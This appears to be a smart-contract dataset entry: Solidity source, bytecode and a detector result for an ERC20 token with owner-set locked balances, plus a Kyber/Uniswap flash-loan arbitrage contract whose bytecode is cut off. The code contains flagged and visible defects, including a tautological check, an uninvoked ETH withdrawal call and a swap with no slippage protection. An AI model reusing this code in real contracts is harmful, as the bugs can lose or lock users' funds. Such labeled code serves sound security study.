_afterTokenTransfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } abstract contract ERC20Pausable is ERC20, Pausable { function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual override { super._beforeTokenTransfer(from, to, amount); require(!paused(), "ERC20Pausable: token transfer while paused"); } } contract SuperRichCoin is ERC20Pausable, Ownable { uint8 private DECIMALS = 8; uint256 private MAX_TOKEN_COUNT = 10000000000; uint256 private INITIAL_SUPPLY = MAX_TOKEN_COUNT * (10 ** uint256(DECIMALS)); mapping (address => uint256) public airDropHistory; event AirDrop(address _recipient, uint256 _amount); mapping (address => uint256) private lockedBalances; event TimeLock(address _recipient, uint256 _amount); uint256 private unlocktime; constructor() ERC20("SuperRichCoin", "SRC") public { super._mint(msg.sender, INITIAL_SUPPLY); unlocktime = 1656633600; // 2022/07/01 09:00:00 GMT+09:00 } function decimals() public view virtual override returns (uint8) { return DECIMALS; } modifier timeLock(address from, uint256 amount) { if(block.timestamp < unlocktime) { require(amount <= balanceOf(from) - lockedBalances[from]); } else { lockedBalances[from] = 0; } _; } function unLockTime() public view returns (uint256) { return unlocktime; } function setUnLockTime(uint256 _unlocktime) onlyOwner public { unlocktime = _unlocktime; } function transfer(address recipient, uint256 amount) timeLock(msg.sender, amount) whenNotPaused public virtual override returns (bool) { return super.transfer(recipient, amount); } function transfers(address[] memory recipients, uint256[] memory values) whenNotPaused public { require(recipients.length != 0); require(recipients.length == values.length); for(uint256 i = 0; i < recipients.length; i++) { address recipient = recipients[i]; uint256 amount = values[i]; transfer(recipient, amount); } } function transferToLockedBalance(address recipient, uint256 amount) whenNotPaused public returns (bool) { if(transfer(recipient, amount)) { lockedBalances[recipient] += amount; emit TimeLock(recipient, lockedBalances[recipient]); return true; } } function transferToLockedBalances(address[] memory recipients, uint256[] memory values) whenNotPaused public { require(recipients.length != 0); require(recipients.length == values.length); for(uint256 i = 0; i < recipients.length; i++) { address recipient = recipients[i]; uint256 amount = values[i]; transferToLockedBalance(recipient, amount); } } function transferFrom(address _from, address recipient, uint256 amount) timeLock(_from, amount) whenNotPaused public virtual override returns (bool) { return super.transferFrom(_from, recipient, amount); } function lockedBalance(address recipient) public view returns (uint256) { return lockedBalances[recipient]; } function setLockedBalance(address recipient, uint256 amount) onlyOwner public { require(amount >= 0); require(balanceOf(recipient) >= amount); lockedBalances[recipient] = amount; emit TimeLock(recipient, lockedBalances[recipient]); } function setLockedBalances(address[] memory recipients, uint256[] memory values) onlyOwner public { require(recipients.length != 0); require(recipients.length == values.length); for(uint256 i = 0; i < recipients.length; i++) { address recipient = recipients[i]; uint256 amount = values[i]; if(amount >= 0 && balanceOf(recipient) >= amount) { setLockedBalance(recipient, amount); } } } function airDropToLockedBalances(address[] memory recipients, uint256[] memory values) whenNotPaused public { require(recipients.length != 0); require(recipients.length == values.length); for(uint256 i = 0; i < recipients.length; i++) { address recipient = recipients[i]; uint256 amount = values[i]; transferToLockedBalance(recipient, amount); airDropHistory[recipient] += amount; emit AirDrop(recipient, amount); } } function pause() onlyOwner whenNotPaused public { super._pause(); } function unpause() onlyOwner whenPaused public { super._unpause(); } }
0x608060405234801561001057600080fd5b50600436106101a95760003560e01c80638456cb59116100f9578063a9059cbb11610097578063f2fde38b11610071578063f2fde38b146103cc578063f4649be1146103df578063f4bdcc63146103f2578063facc79051461040557600080fd5b8063a9059cbb14610360578063ccd28a4c14610373578063dd62ed3e1461039357600080fd5b80639ae697bf116100d35780639ae697bf146102fe5780639d988cd814610327578063a4203fe51461033a578063a457c2d71461034d57600080fd5b80638456cb59146102c55780638da5cb5b146102cd57806395d89b41146102f657600080fd5b8063313ce56711610166578063523464121161014057806352346412146102765780635c975abb1461028957806370a0823114610294578063715018a6146102bd57600080fd5b8063313ce5671461023c578063395093511461025b5780633f4ba83a1461026e57600080fd5b8063052b310f146101ae57806306fdde03146101c3578063095ea7b3146101e157806318160ddd146102045780631e8221401461021657806323b872dd14610229575b600080fd5b6101c16101bc366004611636565b61040d565b005b6101cb61044b565b6040516101d8919061164e565b60405180910390f35b6101f46101ef36600461154c565b6104dd565b60405190151581526020016101d8565b6002545b6040519081526020016101d8565b6101f461022436600461154c565b6104f4565b6101f4610237366004611511565b6105b4565b600554600160a81b900460ff1660405160ff90911681526020016101d8565b6101f461026936600461154c565b610653565b6101c161068f565b6101c1610284366004611575565b610712565b60055460ff166101f4565b6102086102a23660046114be565b6001600160a01b031660009081526020819052604090205490565b6101c16107d7565b6101c1610811565b60055461010090046001600160a01b03166040516001600160a01b0390911681526020016101d8565b6101cb61086c565b61020861030c3660046114be565b6001600160a01b031660009081526009602052604090205490565b6101c1610335366004611575565b61087b565b6101c161034836600461154c565b61093b565b6101f461035b36600461154c565b6109ee565b6101f461036e36600461154c565b610a87565b6102086103813660046114be565b60086020526000908152604090205481565b6102086103a13660046114df565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6101c16103da3660046114be565b610b24565b6101c16103ed366004611575565b610bc5565b6101c1610400366004611575565b610cf4565b600a54610208565b6005546001600160a01b036101009091041633146104465760405162461bcd60e51b815260040161043d906116cb565b60405180910390fd5b600a55565b60606003805461045a90611784565b80601f016020809104026020016040519081016040528092919081815260200182805461048690611784565b80156104d35780601f106104a8576101008083540402835291602001916104d3565b820191906000526020600020905b8154815290600101906020018083116104b657829003601f168201915b5050505050905090565b60006104ea338484610ed3565b5060015b92915050565b600061050260055460ff1690565b1561051f5760405162461bcd60e51b815260040161043d906116a1565b6105298383610a87565b156104ee576001600160a01b03831660009081526009602052604081208054849290610556908490611755565b90915550506001600160a01b038316600081815260096020908152604091829020548251938452908301527f197eee9feebf43ae6a92efb7be328140da2435758587a69179d7173fe608e968910160405180910390a15060016104ee565b60008382600a54421015610601576001600160a01b03821660009081526009602090815260408083205491839052909120546105f0919061176d565b8111156105fc57600080fd5b61061b565b6001600160a01b0382166000908152600960205260408120555b60055460ff161561063e5760405162461bcd60e51b815260040161043d906116a1565b610649868686610ff7565b9695505050505050565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916104ea91859061068a908690611755565b610ed3565b6005546001600160a01b036101009091041633146106bf5760405162461bcd60e51b815260040161043d906116cb565b60055460ff166107085760405162461bcd60e51b815260206004820152601460248201527314185d5cd8589b194e881b9bdd081c185d5cd95960621b604482015260640161043d565b6107106110a1565b565b60055460ff16156107355760405162461bcd60e51b815260040161043d906116a1565b815161074057600080fd5b805182511461074e57600080fd5b60005b82518110156107d257600083828151811061077c57634e487b7160e01b600052603260045260246000fd5b6020026020010151905060008383815181106107a857634e487b7160e01b600052603260045260246000fd5b602002602001015190506107bc8282610a87565b50505080806107ca906117bf565b915050610751565b505050565b6005546001600160a01b036101009091041633146108075760405162461bcd60e51b815260040161043d906116cb565b6107106000611134565b6005546001600160a01b036101009091041633146108415760405162461bcd60e51b815260040161043d906116cb565b60055460ff16156108645760405162461bcd60e51b815260040161043d906116a1565b61071061118e565b60606004805461045a90611784565b60055460ff161561089e5760405162461bcd60e51b815260040161043d906116a1565b81516108a957600080fd5b80518251146108b757600080fd5b60005b82518110156107d25760008382815181106108e557634e487b7160e01b600052603260045260246000fd5b60200260200101519050600083838151811061091157634e487b7160e01b600052603260045260246000fd5b6020026020010151905061092582826104f4565b5050508080610933906117bf565b9150506108ba565b6005546001600160a01b0361010090910416331461096b5760405162461bcd60e51b815260040161043d906116cb565b8061098b836001600160a01b031660009081526020819052604090205490565b101561099657600080fd5b6001600160a01b038216600081815260096020908152604091829020849055815192835282018390527f197eee9feebf43ae6a92efb7be328140da2435758587a69179d7173fe608e968910160405180910390a15050565b3360009081526001602090815260408083206001600160a01b038616845290915281205482811015610a705760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161043d565b610a7d3385858403610ed3565b5060019392505050565b60003382600a54421015610ad4576001600160a01b0382166000908152600960209081526040808320549183905290912054610ac3919061176d565b811115610acf57600080fd5b610aee565b6001600160a01b0382166000908152600960205260408120555b60055460ff1615610b115760405162461bcd60e51b815260040161043d906116a1565b610b1b85856111e6565b95945050505050565b6005546001600160a01b03610100909104163314610b545760405162461bcd60e51b815260040161043d906116cb565b6001600160a01b038116610bb95760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161043d565b610bc281611134565b50565b60055460ff1615610be85760405162461bcd60e51b815260040161043d906116a1565b8151610bf357600080fd5b8051825114610c0157600080fd5b60005b82518110156107d2576000838281518110610c2f57634e487b7160e01b600052603260045260246000fd5b602002602001015190506000838381518110610c5b57634e487b7160e01b600052603260045260246000fd5b60200260200101519050610c6f82826104f4565b506001600160a01b03821660009081526008602052604081208054839290610c98908490611755565b9091555050604080516001600160a01b0384168152602081018390527f2a2f3a6f457f222229acc6b14376a5d3f4344fae935675150a096e2f1056bd98910160405180910390a150508080610cec906117bf565b915050610c04565b6005546001600160a01b03610100909104163314610d245760405162461bcd60e51b815260040161043d906116cb565b8151610d2f57600080fd5b8051825114610d3d57600080fd5b60005b82518110156107d2576000838281518110610d6b57634e487b7160e01b600052603260045260246000fd5b602002602001015190506000838381518110610d9757634e487b7160e01b600052603260045260246000fd5b6020908102919091010151905080610dc4836001600160a01b031660009081526020819052604090205490565b10610dd357610dd3828261093b565b50508080610de0906117bf565b915050610d40565b6001600160a01b038216610e3e5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640161043d565b610e4a600083836111f3565b8060026000828254610e5c9190611755565b90915550506001600160a01b03821660009081526020819052604081208054839290610e89908490611755565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b6001600160a01b038316610f355760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161043d565b6001600160a01b038216610f965760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161043d565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000611004848484611259565b6001600160a01b0384166000908152600160209081526040808320338452909152902054828110156110895760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b606482015260840161043d565b6110968533858403610ed3565b506001949350505050565b60055460ff166110ea5760405162461bcd60e51b815260206004820152601460248201527314185d5cd8589b194e881b9bdd081c185d5cd95960621b604482015260640161043d565b6005805460ff191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa335b6040516001600160a01b03909116815260200160405180910390a1565b600580546001600160a01b03838116610100818102610100600160a81b031985161790945560405193909204169182907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b60055460ff16156111b15760405162461bcd60e51b815260040161043d906116a1565b6005805460ff191660011790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a2586111173390565b60006104ea338484611259565b60055460ff16156107d25760405162461bcd60e51b815260206004820152602a60248201527f45524332305061757361626c653a20746f6b656e207472616e736665722077686044820152691a5b19481c185d5cd95960b21b606482015260840161043d565b6001600160a01b0383166112bd5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161043d565b6001600160a01b03821661131f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161043d565b61132a8383836111f3565b6001600160a01b038316600090815260208190526040902054818110156113a25760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161043d565b6001600160a01b038085166000908152602081905260408082208585039055918516815290812080548492906113d9908490611755565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161142591815260200190565b60405180910390a350505050565b80356001600160a01b038116811461144a57600080fd5b919050565b600082601f83011261145f578081fd5b8135602061147461146f83611731565b611700565b80838252828201915082860187848660051b8901011115611493578586fd5b855b858110156114b157813584529284019290840190600101611495565b5090979650505050505050565b6000602082840312156114cf578081fd5b6114d882611433565b9392505050565b600080604083850312156114f1578081fd5b6114fa83611433565b915061150860208401611433565b90509250929050565b600080600060608486031215611525578081fd5b61152e84611433565b925061153c60208501611433565b9150604084013590509250925092565b6000806040838503121561155e578182fd5b61156783611433565b946020939093013593505050565b60008060408385031215611587578182fd5b823567ffffffffffffffff8082111561159e578384fd5b818501915085601f8301126115b1578384fd5b813560206115c161146f83611731565b8083825282820191508286018a848660051b89010111156115e0578889fd5b8896505b84871015611609576115f581611433565b8352600196909601959183019183016115e4565b509650508601359250508082111561161f578283fd5b5061162c8582860161144f565b9150509250929050565b600060208284031215611647578081fd5b5035919050565b6000602080835283518082850152825b8181101561167a5785810183015185820160400152820161165e565b8181111561168b5783604083870101525b50601f01601f1916929092016040019392505050565b60208082526010908201526f14185d5cd8589b194e881c185d5cd95960821b604082015260600190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b604051601f8201601f1916810167ffffffffffffffff81118282101715611729576117296117f0565b604052919050565b600067ffffffffffffffff82111561174b5761174b6117f0565b5060051b60200190565b60008219821115611768576117686117da565b500190565b60008282101561177f5761177f6117da565b500390565b600181811c9082168061179857607f821691505b602082108114156117b957634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156117d3576117d36117da565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fdfea26469706673582212209585bb4e72e61443a8247eb6c8ea1935df85d1c4d48328c4d2e9ea523d1c1ddb64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
2,726
0x842022ea0928c08d68fbd9a5bd7c2d58ab784fa4
// SPDX-License-Identifier: MIT pragma solidity >=0.4.21 <0.7.0; interface KyberNetworkProxyInterface { function maxGasPrice() external view returns(uint); function getUserCapInWei(address user) external view returns(uint); function getUserCapInTokenWei(address user, ERC20 token) external view returns(uint); function enabled() external view returns(bool); function info(bytes32 id) external view returns(uint); function getExpectedRate(ERC20 src, ERC20 dest, uint srcQty) external view returns (uint expectedRate, uint slippageRate); function tradeWithHint(ERC20 src, uint srcAmount, ERC20 dest, address destAddress, uint maxDestAmount, uint minConversionRate, address walletId, bytes calldata hint) external payable returns(uint); function swapEtherToToken(ERC20 token, uint minRate) external payable returns (uint); function swapTokenToEther(ERC20 token, uint tokenQty, uint minRate) external returns (uint); } abstract contract UniswapExchangeInterface { // Address of ERC20 token sold on this exchange function tokenAddress() external view virtual returns (address token); // Address of Uniswap Factory function factoryAddress() external view virtual returns (address factory); // Provide Liquidity function addLiquidity(uint256 min_liquidity, uint256 max_tokens, uint256 deadline) external payable virtual returns (uint256); function removeLiquidity(uint256 amount, uint256 min_eth, uint256 min_tokens, uint256 deadline) external virtual returns (uint256, uint256); // Get Prices function getEthToTokenInputPrice(uint256 eth_sold) external view virtual returns (uint256 tokens_bought); function getEthToTokenOutputPrice(uint256 tokens_bought) external view virtual returns (uint256 eth_sold); function getTokenToEthInputPrice(uint256 tokens_sold) external view virtual returns (uint256 eth_bought); function getTokenToEthOutputPrice(uint256 eth_bought) external view virtual returns (uint256 tokens_sold); // Trade ETH to ERC20 function ethToTokenSwapInput(uint256 min_tokens, uint256 deadline) external payable virtual returns (uint256 tokens_bought); function ethToTokenTransferInput(uint256 min_tokens, uint256 deadline, address recipient) external payable virtual returns (uint256 tokens_bought); function ethToTokenSwapOutput(uint256 tokens_bought, uint256 deadline) external payable virtual returns (uint256 eth_sold); function ethToTokenTransferOutput(uint256 tokens_bought, uint256 deadline, address recipient) external payable virtual returns (uint256 eth_sold); // Trade ERC20 to ETH function tokenToEthSwapInput(uint256 tokens_sold, uint256 min_eth, uint256 deadline) external virtual returns (uint256 eth_bought); function tokenToEthTransferInput (uint256 tokens_sold, uint256 min_eth, uint256 deadline, address recipient) external virtual returns (uint256 eth_bought); function tokenToEthSwapOutput (uint256 eth_bought, uint256 max_tokens, uint256 deadline) external virtual returns (uint256 tokens_sold); function tokenToEthTransferOutput (uint256 eth_bought, uint256 max_tokens, uint256 deadline, address recipient) external virtual returns (uint256 tokens_sold); // Trade ERC20 to ERC20 function tokenToTokenSwapInput (uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address token_addr) external virtual returns (uint256 tokens_bought); function tokenToTokenTransferInput (uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address recipient, address token_addr) external virtual returns (uint256 tokens_bought); function tokenToTokenSwapOutput (uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address token_addr) external virtual returns (uint256 tokens_sold); function tokenToTokenTransferOutput (uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address recipient, address token_addr) external virtual returns (uint256 tokens_sold); // Trade ERC20 to Custom Pool function tokenToExchangeSwapInput (uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address exchange_addr) external virtual returns (uint256 tokens_bought); function tokenToExchangeTransferInput (uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address recipient, address exchange_addr) external virtual returns (uint256 tokens_bought); function tokenToExchangeSwapOutput (uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address exchange_addr) external virtual returns (uint256 tokens_sold); function tokenToExchangeTransferOutput (uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address recipient, address exchange_addr) external virtual returns (uint256 tokens_sold); // ERC20 comaptibility for liquidity tokens bytes32 public name; bytes32 public symbol; uint256 public decimals; function transfer(address _to, uint256 _value) external virtual returns (bool); function transferFrom(address _from, address _to, uint256 value) external virtual returns (bool); function approve(address _spender, uint256 _value) external virtual returns (bool); function allowance(address _owner, address _spender) external view virtual returns (uint256); function balanceOf(address _owner) external view virtual returns (uint256); function totalSupply() external view virtual returns (uint256); // Never use function setup(address token_addr) virtual external; } interface OrFeedInterface { function getExchangeRate ( string calldata fromSymbol, string calldata toSymbol, string calldata venue, uint256 amount ) external view returns ( uint256 ); function getTokenDecimalCount ( address tokenAddress ) external view returns ( uint256 ); function getTokenAddress ( string calldata symbol ) external view returns ( address ); function getSynthBytes32 ( string calldata symbol ) external view returns ( bytes32 ); function getForexAddress ( string calldata symbol ) external view returns ( address ); } interface ERC20 { function totalSupply() external view returns (uint supply); function balanceOf(address _owner) external view returns (uint balance); function transfer(address _to, uint _value) external returns (bool success); function transferFrom(address _from, address _to, uint _value) external returns (bool success); function approve(address _spender, uint _value) external returns (bool success); function allowance(address _owner, address _spender) external view returns (uint remaining); function decimals() external view returns(uint digits); event Approval(address indexed _owner, address indexed _spender, uint _value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns(uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns(uint256) { assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns(uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns(uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract FlashIt { using SafeMath for uint256; address public owner; address public uniswapToken; KyberNetworkProxyInterface public kyberProxy; OrFeedInterface internal orfeed = OrFeedInterface(0x8316B082621CFedAB95bf4a44a1d4B64a6ffc336); modifier onlyOwner() { if (msg.sender != owner) { revert("Is not the owner"); } _; } event ArbComplete(bool _success, uint256 _initialAmount, uint256 _finalAmount); constructor(address _kyberProxyAddress, address _uniswapProxyAddress) public { owner = msg.sender; changeKyberUniswapAddresses(_kyberProxyAddress, _uniswapProxyAddress); } function executeOperation( address _reserve, uint256 _amount, uint256 _fee, bytes calldata _params ) external { /*---Trades---*/ kyber2UniswapArb(_reserve, _amount); /*---EndTrades---*/ ERC20 _token = ERC20(_reserve); _token.transfer(0x3dfd23A6c5E8BbcFc9581d2E864a68feb6a076d3, _amount.add(_fee)); } function kyber2UniswapArb(address _tokenAddress, uint256 _amount) public onlyOwner returns (bool){ ERC20 _token = ERC20(_tokenAddress); uint256 ethBack = swapToken2Ether(_token, _amount); uint256 tokenAmount = swapEther2Token(ethBack); emit ArbComplete(true, _amount, tokenAmount); return true; } function swapToken2Ether(ERC20 token, uint256 tokenQty) internal returns (uint256) { uint256 balance = token.balanceOf(address(this)); require(balance > 0, "Balance of token equal to 0"); if (balance < tokenQty) { tokenQty = balance; } token.approve(address(kyberProxy), 0); token.approve(address(kyberProxy), tokenQty); uint destAmount = kyberProxy.tradeWithHint( token, tokenQty, ERC20(0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee), address(this), 8000000000000000000000000000000000000000000000000000000000000000, 0, 0x0000000000000000000000000000000000000004, "PERM" ); return destAmount; } function swapEther2Token(uint256 _amount) internal returns (uint256) { UniswapExchangeInterface usi = UniswapExchangeInterface(uniswapToken); usi.ethToTokenSwapInput{value: _amount}(1, block.timestamp); } function withdrawETHAndTokens(address _tokenAddress) public onlyOwner{ msg.sender.call{value: (address(this).balance)}; ERC20 token = ERC20(_tokenAddress); uint256 currentTokenBalance = token.balanceOf(address(this)); token.transfer(msg.sender, currentTokenBalance); } function changeKyberUniswapAddresses(address _kyberProxy, address _uniswapProxy) public onlyOwner { kyberProxy = KyberNetworkProxyInterface(_kyberProxy); uniswapToken = _uniswapProxy; } function getKyberSellPrice(string memory _token) public view returns (uint256){ uint256 currentPrice = orfeed.getExchangeRate("ETH", _token, "SELL-KYBER-EXCHANGE", 1000000000000000000); return currentPrice; } function getUniswapBuyPrice(string memory _token) public view returns (uint256){ uint256 currentPrice = orfeed.getExchangeRate("ETH", _token, "BUY-UNISWAP-EXCHANGE", 1000000000000000000); return currentPrice; } }
0x608060405234801561001057600080fd5b50600436106100935760003560e01c80637f049d78116100665780637f049d78146102de5780638da5cb5b146103285780639cf1898714610372578063ee872558146103d8578063f0eeed811461048557610093565b806337c274701461009857806349401ebe146100fc5780635665f1ae146101cb578063736d52751461020f575b600080fd5b6100fa600480360360408110156100ae57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506104cf565b005b6101b56004803603602081101561011257600080fd5b810190808035906020019064010000000081111561012f57600080fd5b82018360208201111561014157600080fd5b8035906020019184600183028401116401000000008311171561016357600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050610617565b6040518082815260200191505060405180910390f35b61020d600480360360208110156101e157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506107ba565b005b6102c86004803603602081101561022557600080fd5b810190808035906020019064010000000081111561024257600080fd5b82018360208201111561025457600080fd5b8035906020019184600183028401116401000000008311171561027657600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050610a05565b6040518082815260200191505060405180910390f35b6102e6610ba8565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610330610bce565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103be6004803603604081101561038857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bf3565b604051808215151515815260200191505060405180910390f35b610483600480360360808110156103ee57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291908035906020019064010000000081111561043f57600080fd5b82018360208201111561045157600080fd5b8035906020019184600183028401116401000000008311171561047357600080fd5b9091929391929390505050610d30565b005b61048d610e31565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610591576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f4973206e6f7420746865206f776e65720000000000000000000000000000000081525060200191505060405180910390fd5b81600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663667e939484670de0b6b3a76400006040518363ffffffff1660e01b815260040180806020018060200180602001858152602001848103845260038152602001807f4554480000000000000000000000000000000000000000000000000000000000815250602001848103835286818151815260200191508051906020019080838360005b838110156106f35780820151818401526020810190506106d8565b50505050905090810190601f1680156107205780820380516001836020036101000a031916815260200191505b50848103825260148152602001807f4255592d554e49535741502d45584348414e47450000000000000000000000008152506020019550505050505060206040518083038186803b15801561077457600080fd5b505afa158015610788573d6000803e3d6000fd5b505050506040513d602081101561079e57600080fd5b8101908080519060200190929190505050905080915050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461087c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f4973206e6f7420746865206f776e65720000000000000000000000000000000081525060200191505060405180910390fd5b600081905060008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561090057600080fd5b505afa158015610914573d6000803e3d6000fd5b505050506040513d602081101561092a57600080fd5b810190808051906020019092919050505090508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156109c457600080fd5b505af11580156109d8573d6000803e3d6000fd5b505050506040513d60208110156109ee57600080fd5b810190808051906020019092919050505050505050565b600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663667e939484670de0b6b3a76400006040518363ffffffff1660e01b815260040180806020018060200180602001858152602001848103845260038152602001807f4554480000000000000000000000000000000000000000000000000000000000815250602001848103835286818151815260200191508051906020019080838360005b83811015610ae1578082015181840152602081019050610ac6565b50505050905090810190601f168015610b0e5780820380516001836020036101000a031916815260200191505b50848103825260138152602001807f53454c4c2d4b594245522d45584348414e4745000000000000000000000000008152506020019550505050505060206040518083038186803b158015610b6257600080fd5b505afa158015610b76573d6000803e3d6000fd5b505050506040513d6020811015610b8c57600080fd5b8101908080519060200190929190505050905080915050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610cb7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f4973206e6f7420746865206f776e65720000000000000000000000000000000081525060200191505060405180910390fd5b60008390506000610cc88285610e57565b90506000610cd58261136a565b90507f17f99599aad81cbf4441aa8016187361149fee5e86a7f9a688d25e02571c3955600186836040518084151515158152602001838152602001828152602001935050505060405180910390a16001935050505092915050565b610d3a8585610bf3565b5060008590508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb733dfd23a6c5e8bbcfc9581d2e864a68feb6a076d3610d84878961143190919063ffffffff16565b6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610ded57600080fd5b505af1158015610e01573d6000803e3d6000fd5b505050506040513d6020811015610e1757600080fd5b810190808051906020019092919050505050505050505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000808373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610ed757600080fd5b505afa158015610eeb573d6000803e3d6000fd5b505050506040513d6020811015610f0157600080fd5b8101908080519060200190929190505050905060008111610f8a57604051